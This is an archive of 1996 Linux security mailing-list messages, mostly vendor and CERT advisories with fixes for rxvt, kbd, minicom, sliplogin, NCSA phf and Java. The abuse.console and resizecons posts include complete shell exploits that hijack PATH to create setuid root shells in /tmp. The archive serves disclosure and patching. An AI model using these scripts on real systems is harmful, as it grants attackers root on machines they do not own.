-46,6 +46,8 @@ * Germano Caronni : Assorted small races. * Alan Cox : sendmsg/recvmsg basic support. * Alan Cox : Only sendmsg/recvmsg now supported. + * Aleph One : Rogue processes could steal packets + * from processes bound to INADDR_ANY. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License @@ -899,6 +901,12 @@ if (sk2->num != snum) continue; /* more than one */ + if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) && + current->euid != sk2->socket->inode->i_uid) + { + sti(); + return(-EADDRINUSE); + } if (sk2->rcv_saddr != sk->rcv_saddr) continue; /* socket per slot ! -FB */ if (!sk2->reuse || sk2->state==TCP_LISTEN) Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 linux-alert/linux-alert.9602100664 1767 1767 45110 6106465737 15212 0ustar majdommajdomFrom [email protected] Thu Feb 1 04:58:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id EAA29705; Thu, 1 Feb 1996 04:58:02 -0500 Date: Tue, 30 Jan 1996 01:50:06 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List cc: big-linux-mailing-list , [email protected] Subject: LSF Update#11: Vulnerability of rxvt Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rxvt vulnerability Wed Jan 24 13:25:44 EST 1996 Copyright (C) 1995, 1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT The rxvt program used to emulate VT100 terminal in the X11 environment can be exploited to gain unauthorized root access. This Linux Security FAQ Update provides information that can be used to deal with this problem. RISK ASSESSMENT The information released to full-disclosure mailing lists allows any local user to obtain an unauthorized root access if rxvt is installed as a suid-to-root program. SOLUTION TO THE PROBLEM Immediately remove a suid bit from the rxvt binary using command: chmod 111 /usr/X11R6/bin/rxvt This assumes that you have rxvt installed as /usr/X11R6/bin/rxvt. If that is not the case, locate the binary and substitute /usr/X11R6/bin/rxvt with its name. You can use one of the following commands to locate rxvt: locate rxvt | grep -v rxvt.1x or find / -type f -name rxvt -print DISTRIBUTION FIXES After you install the distribution-specific fixed version of rxvt, you should make the rxvt binary suid-to-root. Red Hat Linux 2.1 & 2.0, Caldera Network Desktop The Red Hat Commercial Linux 2.0 and 2.1 distributions and Caldera Network Desktop are vulnerable to an attack against rxvt. Marc Ewing ([email protected]) provided the RPM package that fixes the security problem with rxvt. The package can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/rxvt-2.10-3.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.1/rxvt-2.10-3.i386.rpm ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat2.0/rxvt-2.10-3.i386.rpm Please verify the MD5 hash of the file prior to installing the package: b50028ae040c7778d3a0fe98316f5615 rxvt-2.10-3.i386.rpm Debian/GNU Linux The Debian/GNU Linux distribution includes a vulnerable version of rxvt. Ian Murdock ([email protected]) provided information about the official replacement package for the Debian/GNU Linux that fixes this rxvt problem. The fixed package can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/rxvt-2.10-2.deb ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb Please verify the MD5 hash of the file prior to installing the package. f6a704ede216a3e67e8517a5d179a6f2 rxvt-2.10-2.deb Slackware 3.0 Slackware 3.0 is vulnerable to an attack against rxvt. There is no Slackware-specific fixed version of rxvt package available at this time. Until such fixed version of rxvt becomes available, users of Slackware 3.0 are advised to follow the procedure in the "Other Linux Distributions" section of this Update. Yggdrasil Plug & Play Fall'95 Yggdrasil Plug and Play Fall'95 Linux distribution does not include rxvt and therefore is not vulnerable as long as you did not install your own version of rxvt. Other Linux Distributions If your Linux distribution is not listed above or there is no fixed version of rxvt available for your distribution or you installed rxvt yourself, it is recommended that you obtain the source code of rxvt used as a base for Debian/GNU Linux package. The source code can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/rxvt-2.10-2.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/rxvt-2.10-2.tar.gz ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/OTHER/rxvt-2.10-2.tar.gz Please verify the MD5 hash of the file prior to installing it. f3e08f8f97da3c4f245c8de970e05c9d rxvt-2.10-2.tar.gz CREDITS Marc Ewing ([email protected]) Ian Murdock ([email protected]) Adam J. Richter ([email protected]) Olaf Kirch ([email protected]) Allen Wheelwright ([email protected]) Jeff Uphoff ([email protected]) -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMQ2+koxFUz2t8+6VAQGuWgQAgjshASO3Mz8ldHoUnJlSsDdXPwipmdc8 JLHGauq+AZasvWSoZKSpenakwklkzTDPNYm48g7/jlE97B2yANi1JxxYaK+QjZg8 C5imnKxj2LvgDxVy6+aSG1NvBqIWEush7VX2+Ubh1P3K8E2tth6SsdDx3qfY3/wK gbWzEY7Qu/4= =dCW2 -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Thu Feb 1 05:03:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id FAA29761; Thu, 1 Feb 1996 05:03:24 -0500 Message-Id: To: [email protected] Cc: [email protected] Subject: Problem with minicom 1.71 Mime-Version: 1.0 Content-Type: text/plain Date: Thu, 01 Feb 1996 04:07:01 +0100 From: Olaf Kirch Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hi all, There is a problem present in minicom 1.72 and earlier versions that allows local users to execute programs under whatever uid or gid minicom runs. People often make minicom suid or sgid to some ID because they keep their tty log files in the UUCP spool directory or something like this. Please check whether your minicom binary runs suid or sgid, and consider upgrading. Miquel van Smoorenburg has fixed this in his latest version available at http://sunsite.unc.edu/pub/Linux/apps/comm/minicom-1.74.tar.gz Note that this is *not* the same problem as the one discussed half a year ago. I will send a more detailed explanation to linux-security within the next few days. Cheers Olaf -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMRAuTOFnVHXv40etAQFXZQP/TDNpB0Gyi64hDMsf2A2FqC6FyjSg7ZVT 7PwcTuH3Zu6Vh6qDQ9VpWYjpCxBLRd0ho6A4scCbQx90yGTuWwp6McMcYPyZlREo 0IvYW5B6MkBA0aeuJS1dNEotRfZhEMmzK50tvhXyaw+iRnlzOcX7dgMPsZgoGz/o ADCBsM5Vrnk= =SQva -----END PGP SIGNATURE----- From [email protected] Sat Feb 3 11:58:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA07412; Sat, 3 Feb 1996 11:58:25 -0500 Message-ID: <[email protected]> Date: Fri, 2 Feb 1996 22:28:30 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: abuse Red Hat 2.1 security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] There is a security hole in Red Hat 2.1, which installs the game abuse, /usr/lib/games/abuse/abuse.console suid root. The abuse.console program loads its files without absolute pathnames, assuming the user is running abuse from the /usr/lib/games/abuse directory. One of these files in the undrv program, which abuse executes as root. If the user is not in the abuse directory when running this, an arbitrary program can be substituted for undrv, allowing the user to execute arbitrary commands as root. If abuse.console needs to be run by users other than root at the console, provisions need to be made in the code to not execute or load any files as root. Program: /usr/lib/games/abuse/abuse.console suid root Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/lib/games/abuse/abuse.console Security Compromise: root Author: Dave M. ([email protected]) Synopsis: abuse.console runs undrv without an absolute pathname while executing as root, allowing a user to substitute the real undrv with an arbitrary program. Exploit: #!/bin/sh # # abuser.sh # exploits a security hole in abuse to create # a suid root shell /tmp/abuser on a linux # Red Hat 2.1 system with the games package # installed. # # by Dave M. ([email protected]) # echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/lib/games/abuse/abuse.console then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/undrv #!/bin/sh /bin/cp /bin/sh /tmp/abuser /bin/chmod 4777 /tmp/abuser _EOF_ chmod +x /tmp/undrv PATH=/tmp echo ================ Executing Abuse /usr/lib/games/abuse/abuse.console /bin/rm /tmp/undrv if test -u /tmp/abuser then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Sat Feb 3 11:58:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA07426; Sat, 3 Feb 1996 11:58:31 -0500 Message-ID: Date: Fri, 2 Feb 1996 22:31:23 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: resizecons Red Hat 2.1 security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] There is a security hole in Red Hat 2.1, which installs the program /usr/bin/resizecons suid root. The resizecons program allows a user to change the videmode of the console. During this process, it runs the program restoretextmode without an absolute pathname, assuming the correct version will be found in the path, while running with root privileges. It then executes setfont in the same manner. By setting the path to find a rogue restoretextmode, a user can execute an arbitrary program as root. As a more amusing aside, the file /tmp/selection.pid is read and the pid contained within is sent a SIGWINCH, allowing a user on the system to force a redraw of the screen to an arbitrary process (that handles SIGWINCH calls) on the machine. If /usr/bin/resizecons needs to be run by users other than root at the console, provisions need to be made in the code to execute the outside utilities with absolute pathnames, and to check access rights on files before opening. Program: /usr/bin/resizecons Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Temporary Patch: chmod -s /usr/bin/resizecons Security Compromise: root Author: Dave M. ([email protected]) Synopsis: resizecons runs restoretextmode without an absolute pathname while executing as root, allowing a user to substitute the real program with arbitrary commands. Exploit: wozzeck.sh: #!/bin/sh # # wozzeck.sh # exploits a security hole in /usr/bin/resizecons # to create a suid root shell in /tmp/wozz on a # linux Red Hat 2.1 system. # # by Dave M. ([email protected]) # echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/bin/resizecons then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/313x37 This exploit is dedicated to Wozz. Use it with care. _EOF_ cat << _EOF_ > /tmp/restoretextmode #!/bin/sh /bin/cp /bin/sh /tmp/wozz /bin/chmod 4777 /tmp/wozz _EOF_ /bin/chmod +x /tmp/restoretextmode PATH=/tmp echo ================ Executing resizecons /usr/bin/resizecons 313x37 /bin/rm /tmp/restoretextmode /bin/rm /tmp/313x37 if test -u /tmp/wozz then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Thu Feb 8 15:07:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA27760; Thu, 8 Feb 1996 15:07:30 -0500 Resent-Date: Thu, 8 Feb 1996 15:04:40 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 Mime-Version: 1.0 Content-Type: application/pgp; format=mime; x-action=signclear; x-originator=82BFC7ED Content-Transfer-Encoding: 7bit From: Marc Ewing To: [email protected] Cc: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com Date: Tue, 06 Feb 1996 15:26:03 -0500 X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset=us-ascii There is a security hole in the kbd package as shipped with Red Hat Linux 2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user to gain root privileges. All users should upgrade immediately: Intel: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386. rpm Alpha: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a xp.rpm MD5 sums: 34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm 90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm - -Marc -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y qD6LwZYBpHA= =2/65 -----END PGP SIGNATURE----- From [email protected] Thu Feb 8 16:32:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id QAA28132; Thu, 8 Feb 1996 16:32:12 -0500 Resent-Date: Thu, 8 Feb 1996 16:29:39 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 Mime-Version: 1.0 Content-Type: application/pgp; format=mime; x-action=signclear; x-originator=82BFC7ED Content-Transfer-Encoding: 7bit From: Marc Ewing To: [email protected] Cc: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com Date: Tue, 06 Feb 1996 15:26:03 -0500 X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [Mod: Apologies for the delays on some of the recent messages: I'm having minor mail delivery problems here. --Jeff] -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset=us-ascii There is a security hole in the kbd package as shipped with Red Hat Linux 2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user to gain root privileges. All users should upgrade immediately: Intel: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386. rpm Alpha: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a xp.rpm MD5 sums: 34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm 90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm - -Marc -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y qD6LwZYBpHA= =2/65 -----END PGP SIGNATURE----- linux-alert/linux-alert.9603100664 1767 1767 47157 6127057673 15227 0ustar majdommajdomFrom [email protected] Tue Mar 5 18:38:51 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id SAA23885; Tue, 5 Mar 1996 18:38:51 -0500 Resent-Date: Tue, 5 Mar 1996 18:36:48 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 From: CERT Advisory To: [email protected] Subject: [linux-alert] CERT Advisory CA-96.05 - Java Date: Tue, 5 Mar 1996 13:34:09 -0500 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] ============================================================================= CERT(sm) Advisory CA-96.05 March 5, 1996 Topic: Java Implementations Can Allow Connections to an Arbitrary Host ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a vulnerability in implementations of the Java Applet Security Manager. This vulnerability is present in the Netscape Navigator 2.0 Java implementation and in Release 1.0 of the Java Developer's Kit from Sun Microsystems, Inc. These implementations do not correctly implement the policy that an applet may connect only to the host from which the applet was loaded. The CERT Coordination Center recommends installing patches from the vendors, and using the workaround described in Section III until patches can be installed. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.05.README We encourage you to check our README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description There is a serious security problem with the Netscape Navigator 2.0 Java implementation. The vulnerability is also present in the Java Developer's Kit 1.0 from Sun Microsystems, Inc. The restriction allowing an applet to connect only to the host from which it was loaded is not properly enforced. This vulnerability, combined with the subversion of the DNS system, allows an applet to open a connection to an arbitrary host on the Internet. In these Java implementations, the Applet Security Manager allows an applet to connect to any of the IP addresses associated with the name of the computer from which it came. This is a weaker policy than the stated policy and leads to the vulnerability described herein. II. Impact Java applets can connect to arbitrary hosts on the Internet, including those presumed to be previously inaccessible, such as hosts behind a firewall. Bugs in any TCP/IP-based network service can then be exploited. In addition, services previously thought to be secure by virtue of their location behind a firewall can be attacked. III. Solution To fix this problem, the Applet Security Manager must be more strict in deciding which hosts an applet is allowed to connect to. The Java system needs to take note of the actual IP address that the applet truly came from (getting that numerical address from the applet's packets as the applet is being loaded), and thereafter allow the applet to connect only to that same numerical address. We urge you to obtain vendor patches as they become available. Until you can install the patches that implement the more strict applet connection restrictions, you should apply the workarounds described in each section below. A. Netscape users For Netscape Navigator 2.0, use the following URL to learn more about the problem and how to download and install a patch: http://home.netscape.com/newsref/std/java_security.html Until you install the patch, disable Java using the "Security Preferences" dialog box. B. Sun users A patch for Sun's HotJava will be available soon. Until you can install the patch, disable applet downloading by selecting "Options" then "Security...". In the "Enter desired security mode" menu, select the "No access" option. In addition, select the "Apply security mode to applet loading" to disable applet loading entirely, regardless of the source of the applet. C. Both Netscape and Sun users If you operate an HTTP proxy server, you could also disable applets by refusing to fetch Java ".class" files. --------------------------------------------------------------------------- The CERT Coordination Center thanks Drew Dean, Ed Felton, and Dan Wallach of Princeton University for providing information for this advisory. We thank Netscape Communications Corporation, especially Jeff Truehaft, and Sun Microsystems, Inc., especially Marianne Mueller, for their response to this problem. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. From [email protected] Fri Mar 8 03:28:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id DAA08721; Fri, 8 Mar 1996 03:28:33 -0500 Date: Fri, 8 Mar 1996 03:15:51 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] CC: [email protected] Subject: [linux-alert] NCSA httpd cgi-bin application vulnerability. X-Palindrome: Ten animals I slam in a net. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] If you are running NCSA's httpd WWW server (or, conceivably, someone else's), have compiled the phf.c application found in the NCSA distribution's cgi-src directory, and have installed it into an area designated for cgi-bin applications, please 'chmod a-x' it immediately. (This applies to *at least* the phf.c application as provided with NCSA httpd versions 1.3 and 1.5a-export; I've not inspected the other distributions yet.) Many sites (I've looked around a bit and have had a hit rate of roughly 50% so far, but maybe I'm just "lucky")--including the top-level WWW servers for some large and/or very high-profile domains--appear to have "blindly" installed all of the cgi-src applications provided with NCSA's httpd. The most notable aspect of this particular cgi-bin vulnerability, at least to me, is not so much the vulnerability itself (it's been seen before) but rather its quite widespread nature. This vulnerability allows a remote client to retrieve any world-readable file from the server system, as well as execute commands and create files on the server with the privileges of the euid of the httpd server process. Depending on the server's (mis)configuration, this could conceivably be used as an avenue through which to replace the httpd server binary itself with a trojan--quite possibly to be run as root during the system's next boot cycle. It can also be used, largely independent of the server system's configuration--and rather easily--to gain remote interactive access to the server with the userid that the httpd server runs under. (I'm sure there are lots of other "nifty" possibilities, but I first found out about this a just few waking hours ago and have so far performed only the most basic proof-of-concept exploits.) More details (full disclosure, etc.) to follow on the linux-security list and on Bugtraq.... --Up. P.S. I'll bet everyone just can't wait for Java! -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Thu Mar 21 11:37:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id LAA19743; Thu, 21 Mar 1996 11:37:21 -0500 Message-Id: To: [email protected] cc: [email protected], [email protected] Subject: [linux-alert] Problem with sliplogin on Linux Date: Wed, 20 Mar 1996 19:58:05 +0100 From: Olaf Kirch Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hi all, When installed to provide users with SLIP accounts on your system, sliplogin can be abused to execute commands under the root uid. This hole does *not* seem to be expoitable when you don't have any SLIP users configured in your /etc/passwd. I'm not going to give away the details of the exploit yet; watch for a follow-up posting to linux-security within a week or two. Anyone providing SLIP logins using this program should upgrade to the latest version from sunsite.unc.edu: ftp://sunsite.unc.edu/pub/linux/system/Network/serial/sliplogin-2.0.2.tar.gz md5sum: 1634ab3f8d0ce130e59476ede9662ee5 sliplogin-2.0.2.tar.gz Cheers Olaf PS: you may have to adapt your login/logout scripts because the argument list has been changed throughout several releases. - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMVBVMeFnVHXv40etAQEnpQQAgdiPpmGgrGVDx0zuGSjObCEcn6+EMMSu liVU/Ct4XCZegSHD3nmE0naspSSqAenjjisVrySr2UJFZBbYIoHKc9/z5ATikeyE nmk+bWQ4H57iCninlBhgk+BRgqd8++GlNjPnLgjSrvNWDc75ESzxhXAYJ1nyMRdM UHunzxZ80SA= =YYZI -----END PGP SIGNATURE----- From [email protected] Fri Mar 29 17:10:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id RAA07662; Fri, 29 Mar 1996 17:09:59 -0500 Date: Fri, 29 Mar 1996 17:05:25 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] X-Spook: Ortega cryptographic class struggle X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] ------- start of forwarded message (RFC 934 encapsulation) ------- From: CERT Advisory Organization: CERT(sm) Coordination Center - +1 412-268-7090 To: [email protected] Subject: CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier Date: Fri, 29 Mar 1996 09:37:41 -0500 Reply-To: [email protected] ============================================================================= CERT(sm) Advisory CA-96.07 March 29, 1996 Topic: Weaknesses in Java Bytecode Verifier - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of weaknesses in the bytecode verifier portion of Sun Microsystems' Java Development Kit (JDK) versions 1.0 and 1.0.1. The JDK is built into Netscape Navigator 2.0 and 2.01. We have not received reports of the exploitation of this vulnerability. When applets written with malicious intent are viewed, those applets can perform any operation that the legitimate user can perform on the machine running the browser. For example, a maliciously written applet could remove files from the machine on which the browser is running--but only if the legitimate user could also. Problem applets have to be specifically written with malicious intent, and users are at risk only when connecting to "untrusted" web pages. If you use Java-enabled products on a closed network or browse the World Wide Web but never connect to "untrusted" web pages, you are not affected. The CERT staff recommends disabling Java in Netscape Navigator and not using Sun's appletviewer to browse applets from untrusted sources until patches are available from these vendors. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.07.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description The Java Programming Language is designed to allow an executable computer program, called an applet, to be attached to a page viewable by a World Wide Web browser. When a user browsing the Web visits that page, the applet is automatically downloaded onto the user's machine and executed, but only if Java is enabled. It is possible for an applet to generate and execute raw machine code on the machine where the browser is running. This means that a maliciously written applet can perform any action that the legitimate user can perform; for example, an applet can read, delete, or change files that the user owns. Because applets are loaded and run automatically as a side-effect of visiting a Web page, someone could "booby-trap" their Web page and compromise the machine of anyone visiting the page. This is the problem described in the Wall Street Journal on March 26, 1996 ("Researchers Find Big Security Flaw in Java Language," by Don Clark). Note: The security enhancements announced by Sun Microsystems in JDK version 1.0.1 and by Netscape Communications in Netscape Navigator version 2.01 do *not* fix this flaw. II. Impact If Java is enabled and a Web page containing a maliciously written applet is viewed by any of the vulnerable browsers or Sun's appletviewer, that applet can perform any operation that the legitimate user can perform. For example, the applet could read, delete, or in other ways corrupt the user's files and any other files the user has access to, such as /etc/passwd. III. Solution We recommend obtaining vendor patches as soon as they become available. Until you can install the patches, we urge you to apply the workarounds described below. A. Java Development Kit users Sun reports that source-level fixes will be supplied to source licensees in the next few days. The fixes will also be included in the next JDK version, v1.0.2, which will be released within the next several weeks. The JDK itself is a development kit, and it can safely be used to develop applets and applications. If you choose to use the appletviewer as a rudimentary browser, do not use it to browse applets from untrusted sources until you have installed the v1.0.2 browser. B. Netscape users If you use Netscape 2.0 or 2.01, disable Java using the "Security Preferences" dialog box. You do not need to disable JavaScript as part of this workaround. For the latest news about fixes for Netscape Navigator, consult the following for details: http://home.netscape.com/ IV. Information for HotJava (alpha3) users Sun Microsystems has provided the following information for users of HotJava (alpha3). Sun made available last year a demonstration version of a browser called "HotJava." That version (alpha3) is proof-of-concept software only, not a product. HotJava (alpha3) uses an entirely different security architecture from JDK 1.0 or JDK 1.0.1. It will not be tested for any reported security vulnerabilities that it might be susceptible to, and Sun neither supports it nor recommends its use as a primary browser. When HotJava is released as a product, it will be based on an up-to-date version of the JDK and fully supported. - --------------------------------------------------------------------------- The CERT Coordination Center thanks Drew Dean, Ed Felten, and Dan Wallach of Princeton University for providing information for this advisory. We thank Netscape Communications Corporation and Sun Microsystems, Inc. for their response to this problem. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ------- end ------- linux-alert/linux-alert.9605100664 1767 1767 27771 6152614112 15212 0ustar majdommajdomFrom [email protected] Thu May 2 12:55:37 1996 Received: 